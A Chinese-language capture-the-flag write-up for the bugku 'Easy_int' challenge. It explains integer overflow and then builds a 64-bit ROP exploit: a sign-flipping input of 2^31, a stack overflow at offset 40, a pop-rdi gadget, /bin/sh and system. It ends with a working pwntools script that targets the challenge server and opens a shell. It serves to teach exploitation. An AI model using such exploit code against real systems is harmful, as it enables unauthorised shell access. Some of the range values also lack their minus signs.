0x00 前言

这次主要分析整数溢出漏洞,分析样本为bugku题目Easy_int

什么是整数溢出漏洞

整数就是没有小数的数字。在计算机中。有符号数用二进制表示。表示负数的时候。将二进制最高为来表示数字的符号,最高为是1就是负数,最高位是0就表是正数;当然,还有无符号数,也就是没有负数。当我们尝试将一个数字范围为0-255的数字。输入256时。就会溢出,返回0;输入257时。返回1。

当有符号数溢出时。会从最小的值开始,-xxxxx然后依次+1,以下是各类符号范围大小

类型

大小(byte)

无符号范围(unsigned)

有符号范围(signed)

char

1

0 ~ 2^8-1(255)

-2^7(-128) ~ 2^7-1(127)

short

2

0 ~ 2^16-1(65535)

-2^15(32768) ~ 2^15-1(32767)

int

4

0 ~ 2^32-1(4294967295)

-2^31(2147483648) ~ 2^31-1(2147483647)

漏洞危害

  • 数据截断 当发生溢出时。数据会被截断。 例如:a、b、c为3个8位无符号整数(char),范围大小为0-255: a = 11111111 b = 00000001 r = a + b = 100000000 由于a和b相加的值超出了8位。发生溢出。截取8位。r就变成了0

  • 宽度溢出 当一个较小宽度的操作数被提升到了较大操作数一样的宽度,然后进行计算,如果计算结果放在较小宽度那里 那么长度就会被截断为较小宽度。比如一个32位的运算结果。放到了16位寄存器。那么就会取后16位

  • 改变符号 有符号整数溢出时。就会改变正负。 0x7fffffff+1 = 0x80000000 = -2147483648

  • 无符号与有符号转换 将有符号数赋给无符号数后。会从-1变成无符号数的最大数 当把无符号数赋给有符号数,会从无符号数最大数变成-1

0x11 分析思路

第一步checksec

看到只有栈保护,然后使用IDA分析

这里很显然需要进行整数溢出,因为NUM的类型是int(一般默认为signed),所以最大值为2^31-1 = 2147483647,所以溢出值为 2^31 = 2147483648,就符合上面的漏洞三,改变符号:因为2147483648超出最大值了就会变成 -2147483648,取反后还是超出最大值,然后又改变符号再次变成 -2147483648。使用计算器可以轻松看到这一过程。

接着分析vuln函数:

明显的栈溢出漏洞。

0x12 攻击思路

经过分析可以得到如下攻击思路:

  • 先输入2147483648整数溢出进入vuln函数

  • 获取buf的栈溢出偏移(填充字符量)

  • 寻找popedi(使用ROPgadget)

  • 找到"/bin/sh"字符的地址

  • 找到system的地址

  • 构造payload(ROP)获取shell

因为这里分析的是64位的程序,所以不太方便使用cyclic工具寻找偏移,使用IDA查看更直观:

所以offset = 32 + 8 = 40

使用ROPgadget --binary ./pwn --only "pop|ret"获取popedi

获取 "/bin/sh"的地址,pwntools、gdb、IDA方法太多了,IDA刚好开着的就用IDA查看吧(量身定做的gift,\手动滑稽)

system的地址也一起用IDA查看了吧

0x13 64位ROP

在前面的文章中分析过32位ROP,一般形式如下

payload = b'a' * offset + p32(system_addr) + b'\1\1\1\1' + p32(binsh_addr) #平衡栈
payload = b'a' * offset + p32(system_addr) + p32(binsh_addr) #不平衡栈

因为32程序是采用栈传递参数的。大部分情况下为了保险起见还是选择平衡栈的写法比较好。

但是64位程序则不一样,它是寄存器传参的。

64位传参约定:前六个参数按顺序存储在寄存器 rdi, rsi, rdx, rcx, r8, r9 中,参数超过六个时,从第七个开始压入栈中。

pop edi语句是将当前的栈顶元素传递给edi,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system。

所以64位下构造ROP链的形式如下

payload = 'a' * offset + p64(pop_edi) + p64(binsh_addr) + p64(system_addr)

0x14 exp

from pwn import *
import sys
​
context.log_level="debug"
context.terminal = ['gnome-terminal','-x','sh','-c']
​
#本机环境
if sys.argv[1] == '0':
    p = process("./pwn")
#远程环境
elif sys.argv[1] == '1':
    p = remote("114.67.175.224","16139")
​
offset = 40
​
popedi = 0x401343
system_addr = 0x401094
#system_addr = 0x4011f0
binsh_addr = 0x403500
intover = 2 ** 31
payload = b'a'*offset + p64(popedi) + p64(binsh_addr) + p64(system_addr)
​
p.sendafter(b":",str(intover).encode()+b'\n') #结尾的回车不能少……
p.recv()
p.sendline(payload)
p.interactive()

出现意外:执行后显示EOF

看提示信息应该是返回地址构造出错了,经过调试发现是system函数的问题,会进入异常,这里更换system的地址,使用vuln函数里的call system:

成功!注:这里是本地环境。